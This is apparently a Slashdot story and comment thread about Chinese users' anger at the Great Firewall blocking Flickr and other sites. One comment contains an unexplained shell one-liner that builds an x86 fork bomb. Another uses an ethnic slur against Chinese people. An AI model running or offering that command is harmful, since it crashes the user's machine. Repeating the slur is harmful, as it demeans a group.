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Users Rage Against China's 'Great Firewall'
slugo writes with a CNN article about young professionals increasingly aware of the small part of the internet they're allowed to play in. Intelligent and internet-savvy, these users are frustrated by China's overactive concern for internet health. "Yang Zhou is no cyberdissident, but recent curbs on his Web surfing habits by China's censors have him fomenting discontent ... Yang's fury erupted a few days ago when he found he could not browse his friend's holiday snaps on Flickr.com, due to access restrictions by censors after images of the 1989 Tiananmen Square massacre were posted on the photo-sharing Web site. "Once you've complained all you can to your friends, what more can you do? What else is there but anger and disillusionment?" Yang said after venting his anger with friends at a hot-pot restaurant in Beijing. The blocking of Flickr is the latest casualty of China's ongoing battle to control its sprawling Internet. Wikipedia and a raft of other popular Web sites, discussion boards and blogs have already fallen victim to the country's censors."
Mr. Jintao, tear down this (fire)wall!
Once you've complained all you can to your friends, what more can you do?
Post very angry comments on all news sites! Arghhh!! I'm pissed off about censorship!
As anonymous, of course...
To the sound of thunderous whining from a bunch of Youtube/Flickr/blogosphere addicted yuppies.
Off to Digg articles about Zhao Ziyang.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Fuck you, I won't browse where you tell me!
Oh god that was lame.
Great Firewall rages against you.
Hey, the chinese people really _are_ catching up with the west!
They whose government reduces their essential liberties for temporary security, receive neither liberty nor security.
Water's wet, the skies blue, and the Chinamen are rotten Commi's.
And you're a nerd teen living in his mom's basement, can't talk to girls, and run Linux on his MacBook!
At least that's what it says here in my "Absurd Stereotypes" guide book.
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....is not the issue here, Dude!
"To lead the people, you must walk behind them"